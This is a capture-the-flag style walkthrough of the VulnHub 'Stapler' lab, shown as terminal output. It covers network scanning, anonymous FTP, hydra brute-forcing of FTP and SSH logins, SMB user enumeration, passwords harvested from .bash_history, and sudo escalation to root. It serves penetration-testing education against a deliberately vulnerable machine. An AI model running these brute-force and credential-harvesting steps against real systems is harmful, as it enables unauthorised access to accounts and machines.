

# Table of Contents

Table of Contents.....1

Summary.....1

Recon/Scanning.....1

FTP .....5

FTP Credential Audit:.....6

SSH Credential Audit.....8

SMB.....9

SSH Credential Audit.....11

SSH.....11

Privilege Escalation .....12

## Summary

Stapler is an Ubuntu server with multiple services running. This walkthrough will discuss how three of the services were enumerated in order to gain root access to the machine. The services accessed were FTP, SMB, and SSH. The only vulnerabilities exploited was weak user credentials and poor use of strong credentials.

## Recon/Scanning

netdiscover of my private range to find host

root@localhost: ~/Documents/VulnHub/Stapler

File Edit View Search Terminal Help

IP	At	MAC Address	Count	Len	MAC Vendor / Hostname
192.168.15.1	00:50:56:c0:00:01	1	60	VMware, Inc.	
192.168.15.151	00:0c:29:c7:c7:fe	1	60	VMware, Inc.	
192.168.15.254	00:50:56:ec:84:0a	1	60	VMware, Inc.	

root@localhost:~/Documents/VulnHub/Stapler# netdiscover -r 192.168.15.0/24

nmap for services and OS detection:

```
root@localhost: ~/Documents/VulnHub/Stapler
File Edit View Search Terminal Help
root@localhost:~/Documents/VulnHub/Stapler# nmap -O 192.168.15.151

Starting Nmap 7.60 ( https://nmap.org ) at 2018-04-12 15:20 CDT
Nmap scan report for 192.168.15.151
Host is up (0.00061s latency).
Not shown: 992 filtered ports
PORT      STATE SERVICE
20/tcp    closed ftp-data
21/tcp    open  ftp
22/tcp    open  ssh
53/tcp    open  domain
80/tcp    open  http
139/tcp   open  netbios-ssn
666/tcp   open  doom
3306/tcp  open  mysql
MAC Address: 00:0C:29:C7:C7:FE (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.8
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.67 seconds
root@localhost:~/Documents/VulnHub/Stapler#
```

[0] 0:netdiscover 1:nmap sV- 2:nmap 0\* "localhost.localdomain" 15:22 12-Apr-18

nmap for detailed services and versions:

```
root@localhost: ~/Documents/VulnHub/Stapler
File Edit View Search Terminal Help
[64/65]
Starting Nmap 7.60 ( https://nmap.org ) at 2018-04-12 15:11 CDT
Nmap scan report for 192.168.15.151
Host is up (0.00066s latency).
Not shown: 992 filtered ports
PORT      STATE SERVICE      VERSION
20/tcp    closed ftp-data
21/tcp    open  ftp          vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ Can't get directory listing: PASV failed: 550 Permission denied.
|_ ftp-syst:
|   STAT:
|_ FTP server status:
|   Connected to 192.168.15.141
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   At session startup, client count was 5
|   vsFTPD 3.0.3 - secure, fast, stable
|_ End of status
22/tcp    open  ssh          OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   2048 81:21:ce:a1:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05 (RSA)
|   256 5b:a5:bb:67:91:1a:51:c2:d3:21:da:c0:ca:f0:db:9e (ECDSA)
|   256 6d:01:b7:73:ac:b0:93:6f:fa:b9:89:e6:ae:3c:ab:d3 (EdDSA)
53/tcp    open  domain       dnsmasq 2.75
|_ dns-nsid:
|_ bind.version: dnsmasq-2.75
80/tcp    open  http         PHP cli server 5.5 or later
|_ http-title: 404 Not Found
139/tcp   open  netbios-ssn  Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
666/tcp   open  doom?
|_ fingerprint-strings:
|   NULL:
|   message2.jpgUT
|   QWux
|   "DL[E
|   #;3[
|   \xf6
|   u([r
|   qYQq
|   Y_?n2
|   3&M~{
|   9-a)T
|   L}AJ
|   .npy.9
3306/tcp  open  mysql        MySQL 5.7.12-0ubuntu1
|_ mysql-info: ERROR: Script execution failed (use -d to debug)
1 service unrecognized despite returning data. If you know the service/version, please
submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port666-TCP:V=7.60%I=7%D=4/12%Time=5ACFBD97%P=x86_64-pc-linux-gnu%r(NUL
SF:L,15A8,"PK\x03\x04\x14\x02\x00\x08\x0d\x80\xc3Hp\xdf\x15\x81\xaa,\x00\x1
[0] 0:netdiscover 1:nmap sV* 2:nmap 0- "localhost.localdomain" 15:23 12-Apr-18
```

nmap for services and versions continued:

```
root@localhost: ~/Documents/VulnHub/Stapler
File Edit View Search Terminal Help
SF:f4\xfdis\x0f\xeeM\?\xb0\xf4\x1f\xa3\xceY\xfb\xbe\x98\x9b\xb6\xfb\xe0\x
SF:dc\]sS\xc5b0\xfa\xee\x7e\x7\xbc\x05AoA\x93\xfe9\xd3\x82\x7f\xcc\xe4\xd
SF:5\x1dx\xa20\x0e\xdd\x994\x9c\xe7\xfe\x871\xb0N\xea\x1c\x80\xd63w\xf1\xa
SF:f\xbd&q\x9f\x97'i\x85fL\x81\xe2\\\xf6\xb9\xba\xcc\x80\xde\x9a\xe1\xe2:
SF:\xc3\xc5\xa9\x85'\x08r\x99\xfc\xcf\x13\xa0\x7f{\xb9\xbc\xe5:i\xb2\x1bk\
SF:x8a\xfbT\x0f\xe6\x84\x06/\xe8-\x17W\xd7\xb7&\xb9N\x9e<\xb1\\\.\xb9\xcc\
SF:xe7\xd0\xa4\x19\x93\xbd\xdf^\xbe\xd6\xcdg\xcb\.\xd6\xbc\xaf\|W\x1c\xfd
SF:\xf6\xe2\x94\xf9\xebj\xdbf~\xfc\x98x'\xf4\xf3\xaf\x8f\xb90\xf5\xe3\xcc\
SF:x9a\xed\xbf`a\xd0\xa2\xc5KV\x86\xad\n\x7fou\xc4\xfa\xf7\xa37\xc4\|\xb0\
SF:xf1\xc3\x840xb6nK\xdc\xbe#)\xf5\x8b\xdd{\xd2\xf6\xa6g\x1c8\x98u\(\[r\
SF:xf8H~A\xeiqYQq\xc9w\xa7\xbe\?}\xa6\xfc\x0f\?\x9c\xbdTy\xf9\xca\xd5\xaa
SF:\xd7\x7f\xbcSW\xdf\xd0\xd8\xf4\xd3\xddf\xb5F\xabk\xd7\xff\xe9\xcf\x7f\
SF:xd2\xd5\xfd\xb4\xa7\xf7Y_\?n2\xff\xf5\xd7\xdf\x86^\x0c\x8f\x90\x7f\x7f
SF:\xf9\xea\x5m\x1c\xfc\xfeff"\.\x17\xc8\xf5?B\xff\xbf\x6\x5,\x82\xcb\
SF:[\x93&\xb9NBm\xc4\xe5\xf2V\xf6\xc4\t3&M~{\xb9\x9b\xf7\xda-\xac\]\xf9\x
SF:cc[qt\x8a\xef\xba0/\xd6\xb6\xb9\xcf\x0f\xfd\x98\x98\xf9\xf9\xd7\x8f\xa
SF:7\xfa\xbd\xb3\x12_@N\x84\xf6\x8f\x8c\xfe{\x81\x1d\xfb\x1fE\x6\x1f\x81\
SF:xfd\xef\xb8\xfa\xa1i\xae\.\L\x2\lg@\x08D\xbb\xbf\x5\xd4\xf4Ym\x0bI\x9
SF:6\x1e\xcb\x879-a)T\x02\xc8\$\x14k\x08\xae\xfcZ\x90\xe6E\xcb<C\xcap\x8f
SF:\xd0\x8f\x9fu\x01\x8dvT\x0'\x9b\xe4ST%\x9f5\x95\xab\rSWb\xecN\xfb&\xf4
SF:\xed\xe3v\x130\xb73A#\xf0,\xd5\xc2^\xe8\xfc\x0\xa7\xaf\xab4\xcfC\xcd\
SF:x88\x8e}\xac\x15\xf6~\xc4R\x8e`wT\x96\xa8KT\x1cam\xdb\x99f\xfb\n\xbc\xb
SF:cL}AJ\xe5H\x912\x88\(\0k\xc9\xa9\x1a\x93\xb8\x84\x8fdN\xbf\x17\xf5\xf0
SF:.\.npy\.\9\x04\xcf\x14\x1d\x89Rr9\x4\xd2\xae\x91#\xf60g\xed\xf6\x15\x04\
SF:xf6~\xf1\jV\xdcBGu\xeb\xaa=\x8e\xef\xa4HU\x1e\x8f\x9f\x9bI\x4\xfb6GTQ\x
SF:f3\xe9\xe5\x8e\x0b\x14L\xb2\xda\x92\x12\xf3\x95\xa2\x1c\xb3\x13\*P\x11\
SF:?\xfbf\x3\xda\xcaDfv\x89'\xa9\xe4k\xc4S\x0e\x6P0");
MAC Address: 00:0C:29:C7:C7:FE (VMware)
Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_nbstat: NetBIOS name: RED, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
|   Computer name: red
|   NetBIOS computer name: RED\x00
|   Domain name: \x00
|   FQDN: red
|_System time: 2018-04-12T21:12:19+01:00
|_smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|   message_signing: disabled (dangerous, but default)
|_smb2-security-mode:
|   2.02:
|     Message signing enabled but not required
|_smb2-time:
|   date: 2018-04-12 15:12:19
|_start_date: 1600-12-31 17:20:00

Service detection performed. Please report any incorrect results at https://nmap.org/su
bmit/ .
Nmap done: 1 IP address (1 host up) scanned in 171.06 seconds
root@localhost:~/Documents/VulnHub/Stapler# nmap -sV -sC 192.168.15.151
[0] 0:netdiscover 1:nmap sV* 2:nmap 0- "localhost.localdomain" 15:24 12-Apr-18
```

# FTP

FTP anonymous access:

```
root@localhost: ~/Documents/VulnHub/Stapler
File Edit View Search Terminal Help
root@localhost:~/Documents/VulnHub/Stapler# ftp 192.168.15.151 21
Connected to 192.168.15.151.
220-
220-|-----|
220-| Harry, make sure to update the banner when you get a chance to show who has access here |
220-|-----|
220-
220
Name (192.168.15.151:root): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
[0] 0:netdiscover 1:nmap sV- 2:nmap 0 3:ftp* "localhost.localdomain" 15:26 12-Apr-18
```

Right away we get a user Harry

```
root@localhost: ~/Documents/VulnHub/Stapler
File Edit View Search Terminal Help
Connected to 192.168.15.151.
220-
220-|-----|
220-| Harry, make sure to update the banner when you get a chance to show who has access here |
220-|-----|
220-
220
Name (192.168.15.151:root): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 107 Jun 03 2016 note
226 Directory send OK.
ftp> get note
local: note remote: note
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note (107 bytes).
226 Transfer complete.
107 bytes received in 0.00 secs (197.5278 kB/s)
ftp> bye
221 Goodbye.
root@localhost:~/Documents/VulnHub/Stapler# ls
note
root@localhost:~/Documents/VulnHub/Stapler# cat note
Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.
root@localhost:~/Documents/VulnHub/Stapler#
[0] 0:netdiscover 1:nmap sV 2:nmap 0 3:bash* 4:man- "localhost.localdomain" 15:30 12-Apr-18
```

Retrieve the file called "note" and we get two more users, "Elly" and "John"

# FTP Credential Audit:

Create a user list w/ capital and lowercase usernames.

Use hydra to bruteforce a null/same-as-username/reverse-username password audit on FTP.

```
root@localhost: ~/Documents/VulnHub/Stapler
File Edit View Search Terminal Help
root@localhost:~/Documents/VulnHub/Stapler/ftp# cat users [1/75]
Harry
harry
Elly
elly
John
john
root@localhost:~/Documents/VulnHub/Stapler/ftp# hydra -L users -e nsr ftp://192.168.15.151
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2018-04-17 17:02:44
[DATA] max 16 tasks per 1 server, overall 16 tasks, 18 login tries (l:6/p:3), ~2 tries per task
[DATA] attacking ftp://192.168.15.151:21/
[21][ftp] host: 192.168.15.151 login: elly password: ylle
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 4 final worker threads did not complete until end.
[ERROR] 4 targets did not resolve or could not be connected
[ERROR] 16 targets did not complete
Hydra (http://www.thc.org/thc-hydra) finished at 2018-04-17 17:02:48
root@localhost:~/Documents/VulnHub/Stapler/ftp#
```

User “elly” used the password “ylle” on FTP.

Lots of files in their FTP directory.

```
root@localhost: ~/Documents/VulnHub/Stapler
File Edit View Search Terminal Help
root@localhost:~/Documents/VulnHub/Stapler/ftp/elly# ftp 192.168.15.151 [178/289]
Connected to 192.168.15.151.
220-
220-|-----|
220-| Harry, make sure to update the banner when you get a chance to show who has access here |
220-|-----|
220-
220
Name (192.168.15.151:root): elly
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x  5 0      0      4096 Jun 03  2016 X11
drwxr-xr-x  3 0      0      4096 Jun 03  2016 acpi
-rw-r--r--  1 0      0      3028 Apr 20  2016 adduser.conf
-rw-r--r--  1 0      0       51 Jun 03  2016 aliases
-rw-r--r--  1 0      0    12288 Jun 03  2016 aliases.db
drwxr-xr-x  2 0      0      4096 Jun 07  2016 alternatives
drwxr-xr-x  8 0      0      4096 Jun 03  2016 apache2
drwxr-xr-x  3 0      0      4096 Jun 03  2016 apparmor
drwxr-xr-x  9 0      0      4096 Jun 06  2016 apparmor.d
[0] 0:[tmux]* "localhost.localdomain" 17:07 17-Apr-18
```

Able to get a retrieve a file called "passwd" from FTP

```
root@localhost: ~/Documents/VulnHub/Stapler
File Edit View Search Terminal Help
root@localhost:~/Documents/VulnHub/Stapler/ftp/elly# ftp 192.168.15.151 [40/477]
Connected to 192.168.15.151.
220-
220-|-----|
220-| Harry, make sure to update the banner when you get a chance to show who has access here |
220-|-----|
220-
220
Name (192.168.15.151:root): elly
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get passwd
local: passwd remote: passwd
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for passwd (2908 bytes).
226 Transfer complete.
2908 bytes received in 0.00 secs (2.4095 MB/s)
ftp> exit
221 Goodbye.
root@localhost:~/Documents/VulnHub/Stapler/ftp/elly# cat passwd
root:x:0:0:root:/root:/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
[0] 0:[tmux]* "localhost.localdomain" 17:12 17-Apr-18
```

... and the file appears to be a copy of /etc/passwd



# SSH Credential Audit

Use awk to parse out a list of users that can log in with /bin/bash

```
root@localhost: ~/Documents/VulnHub/Stapler
File Edit View Search Terminal Help
root@localhost:~/Documents/VulnHub/Stapler/ftp/elly# awk -F':' ' /\bin\/bash/{print $1}' passwd
RNunemaker
ETollefson
DSwanger
AParnell
SHayslett
MBassin
JBare
LSolum
MFrei
SStroud
JKanode
CJoo
Drew
jess
SHAY
mel
zoe
NATHAN
elly
root@localhost:~/Documents/VulnHub/Stapler/ftp/elly# awk -F':' ' /\bin\/bash/{print $1}' passwd > users
[0] 0: bash* "localhost.localdomain" 17:14 17-Apr-18
```

Use hydra and this user list to audit weak ssh credentials

```
root@localhost: ~/Documents/VulnHub/Stapler
File Edit View Search Terminal Help
root@localhost:~/Documents/VulnHub/Stapler/ftp/elly# hydra -L users -e nsr ssh://192.168.15.151
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2018-04-17 17:15:37
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 57 login tries (l:19/p:3), ~4 tries per task
[DATA] attacking ssh://192.168.15.151:22/
[22][ssh] host: 192.168.15.151 login: SHayslett password: SHayslett
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-04-17 17:16:00
root@localhost:~/Documents/VulnHub/Stapler/ftp/elly#
[0] 0: bash* "localhost.localdomain" 17:16 17-Apr-18
```

And user "SHayslett" is using their username as their password.



# SMB

Using SMB to gain a list of local users

enum4linux can bruteforce SIDs to discover local user accounts

```
root@localhost: ~/Documents/VulnHub/Stapler
File Edit View Search Terminal Help
root@localhost:~/Documents/VulnHub/Stapler/smb# enum4linux -r 192.168.15.151 [277/1121]

Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Apr 17 18:04:58 2018

=====
| Target Information |
=====
Target ..... 192.168.15.151
RID Range ..... 500-550,1000-1050
Username ..... ''
Password ..... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

=====
| Enumerating Workgroup/Domain on 192.168.15.151 |
=====
[+] Got domain/workgroup name: WORKGROUP

=====
| Session Check on 192.168.15.151 |
=====
[+] Server 192.168.15.151 allows sessions using username '', password ''

=====
| Getting domain SID for 192.168.15.151 |
=====
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup

[0] 0:[tmux]* "localhost.localdomain" 18:06 17-Apr-18
```

```
root@localhost: ~/Documents/VulnHub/Stapler
File Edit View Search Terminal Help
[+] Enumerating users using SID S-1-22-1 and logon username '', password '' [137/1121]
S-1-22-1-1000 Unix User peter (Local User)
S-1-22-1-1001 Unix User RNunemaker (Local User)
S-1-22-1-1002 Unix User ETollefson (Local User)
S-1-22-1-1003 Unix User DSwanger (Local User)
S-1-22-1-1004 Unix User AParnell (Local User)
S-1-22-1-1005 Unix User SHayslett (Local User)
S-1-22-1-1006 Unix User MBassin (Local User)
S-1-22-1-1007 Unix User JBare (Local User)
S-1-22-1-1008 Unix User LSolum (Local User)
S-1-22-1-1009 Unix User IChadwick (Local User)
S-1-22-1-1010 Unix User MFrei (Local User)
S-1-22-1-1011 Unix User SStroud (Local User)
S-1-22-1-1012 Unix User CCeaser (Local User)
S-1-22-1-1013 Unix User JKanode (Local User)
S-1-22-1-1014 Unix User CJoo (Local User)
S-1-22-1-1015 Unix User Eeth (Local User)
S-1-22-1-1016 Unix User LSolum2 (Local User)
S-1-22-1-1017 Unix User JLipps (Local User)
S-1-22-1-1018 Unix User jamie (Local User)
S-1-22-1-1019 Unix User Sam (Local User)
S-1-22-1-1020 Unix User Drew (Local User)
S-1-22-1-1021 Unix User jess (Local User)
S-1-22-1-1022 Unix User SHAY (Local User)
S-1-22-1-1023 Unix User Taylor (Local User)
S-1-22-1-1024 Unix User mel (Local User)
S-1-22-1-1025 Unix User kai (Local User)
S-1-22-1-1026 Unix User zoe (Local User)
S-1-22-1-1027 Unix User NATHAN (Local User)
S-1-22-1-1028 Unix User www (Local User)
S-1-22-1-1029 Unix User elly (Local User)
[+] Enumerating users using SID S-1-5-21-864226560-67800430-3082388513 and logon username '', password ''
[0] 0:[tmux]* "localhost.localdomain" 18:07 17-Apr-18
```

Parse this list with awk and cut to get a list of user accounts

```
root@localhost: ~/Documents/VulnHub/Stapler
File Edit View Search Terminal Help
root@localhost:~/Documents/VulnHub/Stapler/smb# awk -F'\ ' '/Local User/{print $2}' enumUsers
nobody (Local User)
peter (Local User)
RNunemaker (Local User)
ETollefson (Local User)
DSwanger (Local User)
AParnell (Local User)
SHayslett (Local User)
MBassin (Local User)
JBare (Local User)
LSolum (Local User)
IChadwick (Local User)
MFrei (Local User)
SStroud (Local User)
CCeaser (Local User)
JKanode (Local User)
CJoo (Local User)
Eeth (Local User)
LSolum2 (Local User)
JLipps (Local User)
jamie (Local User)
Sam (Local User)
Drew (Local User)
jess (Local User)
SHAY (Local User)
Taylor (Local User)
mel (Local User)
kai (Local User)
zoe (Local User)
NATHAN (Local User)
www (Local User)
elly (Local User)
root@localhost:~/Documents/VulnHub/Stapler/smb#
[0] 0:bash* "localhost.localdomain" 18:15 17-Apr-18
```

```
root@localhost: ~/Documents/VulnHub/Stapler
File Edit View Search Terminal Help
root@localhost:~/Documents/VulnHub/Stapler/smb# awk -F'\ ' '/Local User/{print $2}' enumUsers | cut -d' ' -f1
nobody
peter
RNunemaker
ETollefson
DSwanger
AParnell
SHayslett
MBassin
JBare
LSolum
IChadwick
MFrei
SStroud
CCeaser
JKanode
CJoo
Eeth
LSolum2
JLipps
jamie
Sam
Drew
jess
SHAY
Taylor
mel
kai
zoe
NATHAN
root@localhost:~/Documents/VulnHub/Stapler/smb# awk -F'\ ' '/Local User/{print $2}' enumUsers | cut -d' ' -f1 > localUsers
root@localhost:~/Documents/VulnHub/Stapler/smb#
[0] 0:bash* "localhost.localdomain" 18:17 17-Apr-18
```

# SSH Credential Audit

Use hydra with this user list for the same result as the list from /etc/passwd

```
root@localhost: ~/Documents/VulnHub/Stapler
File Edit View Search Terminal Help
root@localhost:~/Documents/VulnHub/Stapler/smb# hydra -L localUsers -e nsr ssh://192.168.15.151
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2018-04-17 18:18:23
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 93 login tries (l:31/p:3), ~6 tries per task
[DATA] attacking ssh://192.168.15.151:22/
[22][ssh] host: 192.168.15.151 login: SHayslett password: SHayslett
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-04-17 18:19:08
root@localhost:~/Documents/VulnHub/Stapler/smb#
```

# SSH

```
root@localhost: ~/Documents/VulnHub/Stapler
File Edit View Search Terminal Help
root@localhost:~/Documents/VulnHub/Stapler/ssh# ssh SHayslett@192.168.15.151
-----
~          Barry, don't forget to put a message here          ~
-----
SHayslett@192.168.15.151's password:
Welcome back!

SHayslett@red:~$ id
uid=1005(SHayslett) gid=1005(SHayslett) groups=1005(SHayslett)
SHayslett@red:~$
```

Not very many files in user directories – both this and other accounts.

However, we are able to read the .bash\_history file of other users...

cat all .bash\_history files to see what these users have been up to

```
root@localhost: ~/Documents/VulnHub/Stapler
File Edit View Search Terminal Help
SHayslett@red:~$ cat /home/*.bash_history [25/2506]
exit
free
exit
exit
exit
exit
exit
exit
exit
exit
exit
exit
top
ps aux
exit
exit
exit
id
whoami
ls -lah
pwd
ps aux
sshpas -p thisimypassword ssh JKanode@localhost
apt-get install sshpass
sshpas -p JZQuyIN5 peter@localhost
[0] 0:[tmux]* "localhost.localdomain" 18:23 17-Apr-18
```

Two credentials in plaintext

## Privilege Escalation

```
root@localhost: ~/Documents/VulnHub/Stapler
File Edit View Search Terminal Help
red% sudo -l
Matching Defaults entries for peter on red:
    lecture=always, env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User peter may run the following commands on red:
    (ALL : ALL) ALL
red% sudo su
→ SHayslett id
uid=0(root) gid=0(root) groups=0(root)
→ SHayslett
[0] 0:/home/SHayslett* "localhost.localdomain" 18:27 17-Apr-18
```

User “peter” can sudo any command  
sudo su returns a root shell in exchange for peter’s password